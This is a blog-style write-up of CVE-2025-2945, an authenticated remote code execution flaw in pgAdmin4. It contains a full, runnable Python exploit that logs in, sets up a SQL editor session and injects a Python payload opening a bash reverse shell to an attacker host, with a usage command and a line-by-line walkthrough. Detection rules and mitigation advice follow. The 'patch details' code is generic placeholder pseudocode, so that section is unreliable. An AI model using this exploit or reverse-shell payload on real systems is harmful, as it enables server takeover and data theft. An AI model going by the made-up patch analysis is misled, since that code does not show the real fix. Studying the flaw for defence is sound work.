> For the complete documentation index, see [llms.txt](https://www.udayxd.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.udayxd.xyz/write-up-blogs/cves-explain/cve-2025-2945.md).

# &#x20;CVE-2025-2945

## CVE-2025-2945: Authenticated Remote Code Execution in pgAdmin4

### Executive Summary

CVE-2025-2945 is a critical authenticated Remote Code Execution (RCE) vulnerability affecting pgAdmin4 versions 8.10 through 9.1. This vulnerability allows authenticated users to execute arbitrary Python code on the server hosting pgAdmin4, leading to complete system compromise.

**Severity**: Critical\
**CVSS Score**: 8.8 (High)\
**Attack Complexity**: Low\
**Privileges Required**: Low (Valid credentials)\
**User Interaction**: None

***

### What is pgAdmin4?

pgAdmin4 is the most popular open-source administration and management tool for PostgreSQL databases. It provides a web-based interface for database administrators to:

* Execute SQL queries
* Manage database objects
* Monitor server performance
* Import/export data

Given its widespread use in enterprise environments, vulnerabilities in pgAdmin4 can have significant security implications.

***

### Vulnerability Overview

#### The Flaw

The vulnerability exists in pgAdmin4's **Query Tool Download** functionality. Specifically, the `/sqleditor/query_tool/download/` endpoint improperly handles user input in the `query_commited` parameter.

Instead of treating this parameter strictly as a SQL query, the application processes it in a way that allows **Python code injection and execution** on the server.

#### Affected Versions

* **Vulnerable**: pgAdmin4 versions 8.10 to 9.1
* **Fixed**: pgAdmin4 version 9.2 and later

#### Prerequisites for Exploitation

1. **Valid credentials**: The attacker must have legitimate access to pgAdmin4
2. **Database connection**: Access to at least one configured database server
3. **Network access**: Ability to reach the pgAdmin4 web interface

***

### Technical Deep Dive

#### Root Cause Analysis

The vulnerability stems from **unsafe handling of user-controlled input** in the query download feature. Let's examine the vulnerable code flow:

**Normal Flow (Expected Behavior)**

```
User Input: SELECT * FROM users;
↓
Server processes as SQL query
↓
Results exported to CSV/JSON
↓
File downloaded to user
```

**Exploit Flow (Actual Behavior)**

```
User Input: __import__('os').system('malicious command')
↓
Server evaluates as Python code
↓
Code executes on server
↓
System compromised
```

#### Why Does This Happen?

The root cause lies in how pgAdmin4 processes the query data:

1. **Unsafe Deserialization**: The application deserializes user input without proper validation
2. **Template Injection**: User-controlled data flows into a server-side template engine
3. **Lack of Sandboxing**: Executed code runs with the same privileges as the pgAdmin4 process
4. **Insufficient Input Validation**: No checks to ensure input is strictly SQL

***

### Exploitation Walkthrough

#### Attack Chain

Here's how an attacker exploits this vulnerability:

**Step 1: Authentication**

```
Attacker logs in with valid credentials
↓
Obtains session cookies and CSRF token
```

**Step 2: Session Initialization**

```
Creates a new SQL Editor session
↓
Authenticates to PostgreSQL database
↓
Obtains transaction ID (trans_id)
```

**Step 3: Payload Injection**

```
Instead of SQL query, sends Python code:
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
↓
Submitted to /sqleditor/query_tool/download/ endpoint
```

**Step 4: Code Execution**

```
Server executes Python code
↓
Reverse shell connects to attacker
↓
Attacker gains shell access
```

#### Example Exploit

```python
#!/usr/bin/env python3

'''
Author: UdayVeer
X: https://x.com/udaypro2008
Github: https://github.com/ExtremeUday
Linkedin:https://www.linkedin.com/in/uday-veer-8002a5360/
HackTheBox : ExtremeUday2
'''

import re
import sys
import json
import argparse
from random import randint
from urllib.parse import urljoin
import requests


def get_version(target_url: str) -> tuple[int, int] | None:
    resp = requests.get(urljoin(target_url, '/login'))
    if resp.status_code == 200:
        if m := re.search(r'<link [^>?]+\?ver=(\d?\d)(\d\d)\d\d"/?>', resp.text):
            return int(m.group(1)), int(m.group(2))


def get_csrf_token(session: requests.Session, target_url: str) -> str | None:
    login_resp = session.get(urljoin(target_url, '/login'), allow_redirects=False)
    if login_resp.status_code == 200:
        if m := re.search(
            r'<input name="csrf_token"( hidden="")? value="([\w+.-]+)">', login_resp.text
        ):
            return m.group(2)
        if m := re.search(r'"csrfToken": "([\w+.-]+)"', login_resp.text):
            return m.group(1)
    else:
        js_resp = session.get(urljoin(target_url, '/browser/js/utils.js'))
        if m := re.search(r"pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'", js_resp.text):
            return m.group(1)
        if m := re.search(r'"csrfToken": "([\w+.-]+)"', js_resp.text):
            return m.group(1)
    print("[!] Failed to retrieve CSRF token")


def exploit(
    target_url: str,
    username: str,
    password: str,
    db_name: str,
    db_user: str,
    db_pass: str,
    Rhost: str,
    Rport: int,
    max_server_id: int = 10,
    skip_version_check: bool = False
) -> bool:

    payload = f"__import__('os').system('bash -c \"bash -i >& /dev/tcp/{Rhost}/{Rport} 0>&1\"')"
    
    if not skip_version_check:
        version = get_version(target_url)
        if not version:
            print("[!] Unable to determine pgAdmin4 version")
            return False
        elif version < (8, 10) or version >= (9, 2):
            print(f"[!] pgAdmin4 version {version[0]}.{version[1]} is not affected")
            return False
        else:
            print(f"[+] pgAdmin4 version {version[0]}.{version[1]} is affected")

    session = requests.Session()

    csrf_token = get_csrf_token(session, target_url)
    if csrf_token is None:
        return False

    resp = session.post(
        urljoin(target_url, 'authenticate/login'),
        data={
            "csrf_token": csrf_token,
            "email": username,
            "password": password,
            "language": "en",
            "internal_button": "login"
        },
        allow_redirects=False,
    )
    if not resp.ok or resp.headers.get('Location', '').endswith('/login'):
        print("[!] Failed to authenticate to pgAdmin")
        return False
    print("[+] Successfully authenticated to pgAdmin")

    csrf_token = get_csrf_token(session, target_url)
    if csrf_token is None:
        return False
    session.headers.update({"X-pgA-CSRFToken": csrf_token})

    sgid = randint(1, 10)
    sid = None
    for i in range(1, max_server_id + 1):
        resp = session.get(
            urljoin(target_url, f'/sqleditor/get_server_connection/{sgid}/{i}'),
            headers={"Content-Type": "application/x-www-form-urlencoded"}
        )
        if resp.status_code == 200:
            if resp.json().get('data', {}).get('status') is True:
                print("[+] Found valid server ID:", i)
                sid = i
                break
        else:
            print(f"[!] Received {resp.status_code} when trying to find server ID")
            print("[!] Received body:", resp.text)
            return False

    if sid is None:
        print("[!] Failed to find a valid server ID, try increasing MAX_SERVER_ID")
        return False

    trans_id = randint(1_000_000, 9_999_999)
    did = randint(10000, 99999)
    
    print(f"[*] Initializing SQL editor with trans_id: {trans_id}")
    
    resp = session.post(
        urljoin(target_url, f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}"),
        json={
            "user": db_user,
            "password": db_pass,
            "role": "",
            "dbname": db_name,
        },
        headers={
            "Content-Type": "application/json"
        }
    )
    
    if not resp.ok:
        print(f"[!] Failed to initialize sqleditor: {resp.status_code}")
        print(f"[!] Response: {resp.text}")
        return False
    
    print("[+] Successfully initialized sqleditor")
    
    resp = session.post(
        urljoin(target_url, f"/sqleditor/panel/{trans_id}"),
        json={
            "sgid": sgid,
            "sid": sid,
            "did": did,
            "title": "Query Tool",
            "db_name": db_name,
            "db_user": db_user
        },
        headers={
            "Content-Type": "application/json",
            "X-Requested-With": "XMLHttpRequest"
        }
    )

    print(f"[+] Sending payload...")
    
    resp = session.post(
        urljoin(target_url, f"/sqleditor/query_tool/download/{trans_id}"),
        json={"query_commited": payload},
        headers={
            "Content-Type": "application/json",
            "Referer": urljoin(target_url, f"/sqleditor/panel/{trans_id}?is_query_tool=true"),
            "X-Requested-With": "XMLHttpRequest"
        }
    )
    
    if resp.status_code == 500:
        print(f"[+] Received 500 response (payload likely executed!)")
        print(f"[+] Check your listener on {Rhost}:{Rport}")
        print(f"[+] Response: {resp.text}")
        return True
    elif resp.status_code == 200:
        print(f"[+] Received 200 response")
        print(f"[+] Check your listener on {Rhost}:{Rport}")
        print(f"[+] Response: {resp.text}")
        return True
    else:
        print(f"[!] Unexpected response: {resp.status_code}")
        print(f"[!] Response: {resp.text}")
        return False


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description="pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exploit (FIXED)",
        epilog="Example: python3 poc.py --target-url http://db-mgmt05.fries.htb --username d.cooper@fries.htb --password 'D4LE11maan!!' --db-user root --db-pass PsqLR00tpaSS11 --db-name ps_db --Rhost 10.10.14.7 --Rport 4444"
    )
    parser.add_argument(
        "--target-url", required=True,
        help="Base URL of the target pgAdmin4 instance (http://RHOST:RPORT/)"
    )
    parser.add_argument("--username", help="pgAdmin4 username", required=True)
    parser.add_argument("--password", help="pgAdmin4 password", required=True)
    parser.add_argument(
        "--db-user", help="Username of the database", required=True
    )
    parser.add_argument("--db-pass", help="Database password", required=True)
    parser.add_argument("--db-name", help="Database name", required=True)
    parser.add_argument("--Rhost", help="Your reverse shell listener IP", required=True)
    parser.add_argument("--Rport", help="Your reverse shell listener port", type=int, required=True)
    parser.add_argument(
        "--max-server-id", type=int, default=10, help="Maximum number of Server IDs to try"
    )
    parser.add_argument(
        "--skip-version-check", action="store_true",
        help="Do not check if target version is affected before exploit"
    )
    ns = parser.parse_args()
    sys.exit(int(not exploit(**vars(ns))))
```

**Command:**

```bash
python3 exploit.py \
  --target-url http://pgadmin.target.com \
  --username admin@company.com \
  --password 'P@ssw0rd!' \
  --db-user postgres \
  --db-pass 'dbP@ss' \
  --db-name production_db \
  --Rhost 10.10.14.7 \
  --Rport 4444
```

**Payload Breakdown:**

```python
__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"')
```

* `__import__('os')` - Dynamically imports Python's OS module
* `.system()` - Executes system commands
* `bash -i` - Spawns interactive bash shell
* `>& /dev/tcp/IP/PORT` - Redirects shell to attacker's listener
* `0>&1` - Redirects stdin to stdout

### **How the PoC Works (Line by Line)**

Let me break down the exploit flow:

#### **Step 1: Version Check**

```
version = get_version(target_url)
```

* Fetches the login page and extracts the pgAdmin4 version from the HTML
* Checks if version is between 8.10 and 9.1 (vulnerable range)
* Uses regex to parse: `?ver=0910000` → version 9.10

#### **Step 2: Authentication**

```
csrf_token = get_csrf_token(session, target_url)
```

* **Why?** pgAdmin uses CSRF tokens to prevent cross-site attacks
* Scrapes the login page to extract the CSRF token from hidden input fields or JavaScript
* This token must be included in all subsequent requests

```
session.post(urljoin(target_url, 'authenticate/login'), ...)
```

* Logs in with the provided credentials (`d.cooper@fries.htb`)
* Creates an authenticated session
* **This is required** - the vulnerability is only exploitable by authenticated users

#### **Step 3: Refresh CSRF Token & Set Header**

```
csrf_token = get_csrf_token(session, target_url)
session.headers.update({"X-pgA-CSRFToken": csrf_token})
```

* After login, pgAdmin generates a new CSRF token
* This token must be sent as a custom header (`X-pgA-CSRFToken`) in all API requests

#### **Step 4: Find Valid Server ID**

```
for i in range(1, max_server_id + 1):
    resp = session.get(f'/sqleditor/get_server_connection/{sgid}/{i}')
```

* **What's happening?** pgAdmin manages multiple database servers, each with a unique ID
* The exploit needs a valid server ID to interact with
* It tries IDs 1-10 until it finds one that returns `status: true`
* **Why?** The Query Tool needs to be associated with a database server

#### **Step 5: Generate Random Transaction ID**

```
trans_id = randint(1_000_000, 9_999_999)
did = randint(10000, 99999)
```

* `trans_id` = Transaction ID - uniquely identifies this SQL editor session
* `did` = Database ID - identifies which database to connect to
* These are randomly generated to avoid conflicts

#### **Step 6: Initialize SQL Editor Session**

```
session.post(f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}", ...)
```

* **Critical step!** This creates a new Query Tool session
* Sends database credentials (`root` / `PsqLR00tpaSS11`)
* Authenticates to the PostgreSQL database
* **Without this**, the exploit won't work because there's no active session

#### **Step 7: Post to Panel Endpoint**

```
session.post(f"/sqleditor/panel/{trans_id}", ...)
```

* This sets up the UI panel for the Query Tool
* May return a 500 error but doesn't affect the exploit
* The session is already initialized, so this is just UI setup

#### **Step 8: THE EXPLOIT - Send Malicious Payload**

```
payload = f"__import__('os').system('bash -c \"bash -i >& /dev/tcp/{Rhost}/{Rport} 0>&1\"')"

session.post(f"/sqleditor/query_tool/download/{trans_id}",
             json={"query_commited": payload}, ...)
```

**This is where the magic happens!**

* **Normal behavior**: The download endpoint expects a SQL query like `SELECT * FROM users`
* **Exploit behavior**: Instead of SQL, we send Python code
* The `query_commited` parameter is **unsafely processed** by the server
* The server executes: `__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"')`

**Breaking down the payload:**

* `__import__('os')` - Imports Python's `os` module (allows system commands)
* `.system()` - Executes shell commands
* `bash -c "..."` - Runs a bash command
* `bash -i >& /dev/tcp/10.10.14.7/4444 0>&1` - Creates a reverse shell:
  * `bash -i` = Interactive bash shell
  * `>&` = Redirects stdout and stderr
  * `/dev/tcp/10.10.14.7/4444` = Connects to your listener
  * `0>&1` = Redirects stdin

#### **Step 9: Check Response**

```
if resp.status_code == 500:
    print("[+] Received 500 response (payload likely executed!)")
```

* A 500 error is **expected** because the Python code executes but doesn't return valid query results
* 200 response may also indicate success
* Check your netcat listener for the reverse shell

***

### Impact Assessment

#### What Can an Attacker Do?

Once code execution is achieved, an attacker can:

1. **Execute arbitrary commands** with pgAdmin4 process privileges
2. **Access sensitive data** stored in connected databases
3. **Pivot to other systems** in the network
4. **Install backdoors** for persistent access
5. **Steal credentials** from configuration files
6. **Modify database contents** leading to data integrity issues
7. **Launch attacks** against other internal systems

#### Real-World Scenarios

**Scenario 1: Data Breach**

```
Attacker exploits CVE-2025-2945
↓
Gains shell access to pgAdmin server
↓
Dumps all database credentials from config
↓
Connects to production databases
↓
Exfiltrates customer data
```

**Scenario 2: Ransomware**

```
Attacker gains code execution
↓
Downloads ransomware payload
↓
Encrypts database backups
↓
Locks critical business data
↓
Demands ransom payment
```

**Scenario 3: Supply Chain Attack**

```
Compromised pgAdmin server
↓
Attacker modifies application database
↓
Injects malicious code into web applications
↓
End users infected
```

***

### Detection and Indicators of Compromise

#### Log Indicators

Look for suspicious patterns in pgAdmin4 logs:

```
# Unusual characters in query_commited parameter
POST /sqleditor/query_tool/download/123456
query_commited: "__import__"

# Multiple 500 errors from download endpoint
[ERROR] 500 Internal Server Error - /sqleditor/query_tool/download/

# Execution of system commands
[WARNING] os.system() called from query_tool module
```

#### Network Indicators

Monitor for:

* **Unexpected outbound connections** from pgAdmin4 server
* **Reverse shell traffic** (persistent TCP connections to external IPs)
* **Data exfiltration** (large data transfers to unknown destinations)

#### File System Indicators

Check for:

* **Modified configuration files** (`config_local.py`, `pgadmin4.db`)
* **New user accounts** in pgAdmin4 database
* **Suspicious Python files** in pgAdmin4 directory
* **Web shells** in upload directories

***

### Mitigation and Remediation

#### Immediate Actions

1. **Upgrade pgAdmin4** to version 9.2 or later immediately
2. **Audit access logs** for signs of exploitation
3. **Reset all passwords** for pgAdmin4 users
4. **Review database logs** for unauthorized queries
5. **Isolate compromised systems** if exploitation is confirmed

#### Long-Term Security Measures

**1. Network Segmentation**

```
[Internet] → [Firewall] → [DMZ]
                ↓
            [Internal Network]
                ↓
            [Database Network]
                ↓
            [pgAdmin4] (Isolated VLAN)
```

**2. Access Controls**

* Implement **Multi-Factor Authentication (MFA)**
* Use **role-based access control (RBAC)**
* Apply **principle of least privilege**
* Regularly **review user permissions**

**3. Monitoring and Logging**

```python
# Enable comprehensive logging
LOG_LEVEL = 'DEBUG'
CONSOLE_LOG_LEVEL = 'INFO'
FILE_LOG_LEVEL = 'DEBUG'

# Monitor these endpoints specifically
- /sqleditor/query_tool/download/*
- /sqleditor/initialize/*
- /authenticate/login
```

**4. Web Application Firewall (WAF)**

Deploy WAF rules to block:

```
# Block Python code injection attempts
query_commited CONTAINS "__import__"
query_commited CONTAINS "os.system"
query_commited CONTAINS "exec("
query_commited CONTAINS "eval("
```

**5. Runtime Protection**

Consider application-level protections:

* **Input validation libraries**
* **Content Security Policy (CSP) headers**
* **Sandboxing for query execution**
* **Rate limiting on API endpoints**

***

### Proof of Concept Code Structure

#### High-Level Exploit Flow

```python
1. Version Detection
   ├─ Scrape login page
   ├─ Extract version from HTML/JS
   └─ Verify vulnerable range (8.10-9.1)

2. Authentication
   ├─ Extract CSRF token
   ├─ Submit login credentials
   └─ Establish authenticated session

3. Database Connection Setup
   ├─ Find valid server ID
   ├─ Generate transaction ID
   └─ Initialize SQL editor session

4. Exploit Delivery
   ├─ Construct Python reverse shell payload
   ├─ Submit to download endpoint
   └─ Receive callback on listener

5. Post-Exploitation
   ├─ Stabilize shell
   ├─ Escalate privileges
   └─ Maintain persistence
```

#### Key Exploit Components

**Session Management:**

```python
# CSRF token must be refreshed after login
session.headers.update({"X-pgA-CSRFToken": csrf_token})
```

**Transaction Initialization:**

```python
# Must initialize before exploit delivery
POST /sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}
{
  "user": "db_user",
  "password": "db_pass",
  "dbname": "target_db"
}
```

**Payload Delivery:**

```python
# The vulnerable endpoint
POST /sqleditor/query_tool/download/{trans_id}
{
  "query_commited": "__import__('os').system('payload')"
}
```

***

### Vendor Response and Patch Analysis

#### Timeline

* **Discovery Date**: Early 2025
* **Vendor Notification**: Responsible disclosure
* **Patch Release**: pgAdmin4 version 9.2
* **CVE Assignment**: CVE-2025-2945

#### Patch Details

The fix implements multiple security controls:

1. **Input Validation**

```python
# New validation logic
def validate_query(query):
    # Ensure query contains only SQL
    if contains_python_code(query):
        raise SecurityException("Invalid query format")
```

2. **Sanitization**

```python
# Strip dangerous characters/patterns
query = sanitize_sql_input(query)
```

3. **Sandboxing**

```python
# Execute in restricted environment
result = execute_in_sandbox(query, timeout=30)
```

4. **Content Type Enforcement**

```python
# Strict content type checking
if not is_valid_sql(query):
    return HTTP_400_BAD_REQUEST
```

***

### Recommendations for Organizations

#### For System Administrators

* \[ ] **Update immediately** to pgAdmin4 9.2 or later
* \[ ] **Conduct security audit** of all pgAdmin4 instances
* \[ ] **Review access logs** for past 90 days
* \[ ] **Implement network segmentation** for database tools
* \[ ] **Enable comprehensive logging**
* \[ ] **Deploy intrusion detection systems (IDS)**

#### For Security Teams

* \[ ] **Perform threat hunting** for indicators of compromise
* \[ ] **Update incident response playbooks**
* \[ ] **Conduct security awareness training**
* \[ ] **Test backup and recovery procedures**
* \[ ] **Implement vulnerability scanning** for web applications

#### For Developers

* \[ ] **Never use eval()** or exec() on user input
* \[ ] **Implement input validation** at multiple layers
* \[ ] **Use parameterized queries** for database operations
* \[ ] **Apply principle of least privilege** for service accounts
* \[ ] **Conduct regular security code reviews**

***

### Testing for Vulnerability

#### Safe Detection Method

You can check if your instance is vulnerable without exploitation:

```bash
# Check version via HTTP request
curl -s http://your-pgadmin.com/login | grep -oP 'ver=\K\d+'

# Compare version number
# Vulnerable if: 81000 <= version <= 91000
```

#### Using Nmap

```bash
nmap -p 80,443 --script http-title,http-server-header your-pgadmin.com
```

#### Manual Version Check

1. Access pgAdmin4 login page
2. View page source (Ctrl+U)
3. Search for `ver=` parameter
4. Check against vulnerable range

***

### Conclusion

CVE-2025-2945 represents a critical security vulnerability that demonstrates the ongoing challenges in securing web applications, particularly those with complex functionality like database management tools.

#### Key Takeaways

1. **Authenticated vulnerabilities are still critical** - Don't assume authentication provides sufficient protection
2. **Input validation is paramount** - Never trust user input, even from authenticated sources
3. **Defense in depth works** - Multiple security layers can prevent exploitation
4. **Prompt patching is essential** - Delay increases risk exponentially

#### The Bigger Picture

This vulnerability highlights several important security principles:

* **Trust boundaries matter** - Even authenticated users can be malicious
* **Complexity breeds vulnerabilities** - Feature-rich applications have larger attack surfaces
* **Server-side code execution is game over** - RCE vulnerabilities are always critical
* **Security by design** - Build security in from the start, not as an afterthought

***

### References and Resources

#### Official Sources

* **pgAdmin4 Security Advisory**: \[pgAdmin Official Site]
* **CVE Details**: CVE-2025-2945
* **Patch Notes**: pgAdmin4 v9.2 Release Notes

#### Additional Reading

* OWASP Top 10 - A03: Injection
* CWE-94: Improper Control of Generation of Code
* MITRE ATT\&CK - T1059: Command and Scripting Interpreter

#### Tools for Testing

* Burp Suite Professional
* OWASP ZAP
* SQLMap (for related SQL injection testing)

***

### About the Author

This analysis was conducted as part of security research and responsible disclosure practices. The goal is to educate security professionals and system administrators about real-world vulnerabilities and effective mitigation strategies.

**Disclaimer**: This article is for educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing security vulnerabilities.

***

*Last Updated: November 2025*\
*Version: 1.0*
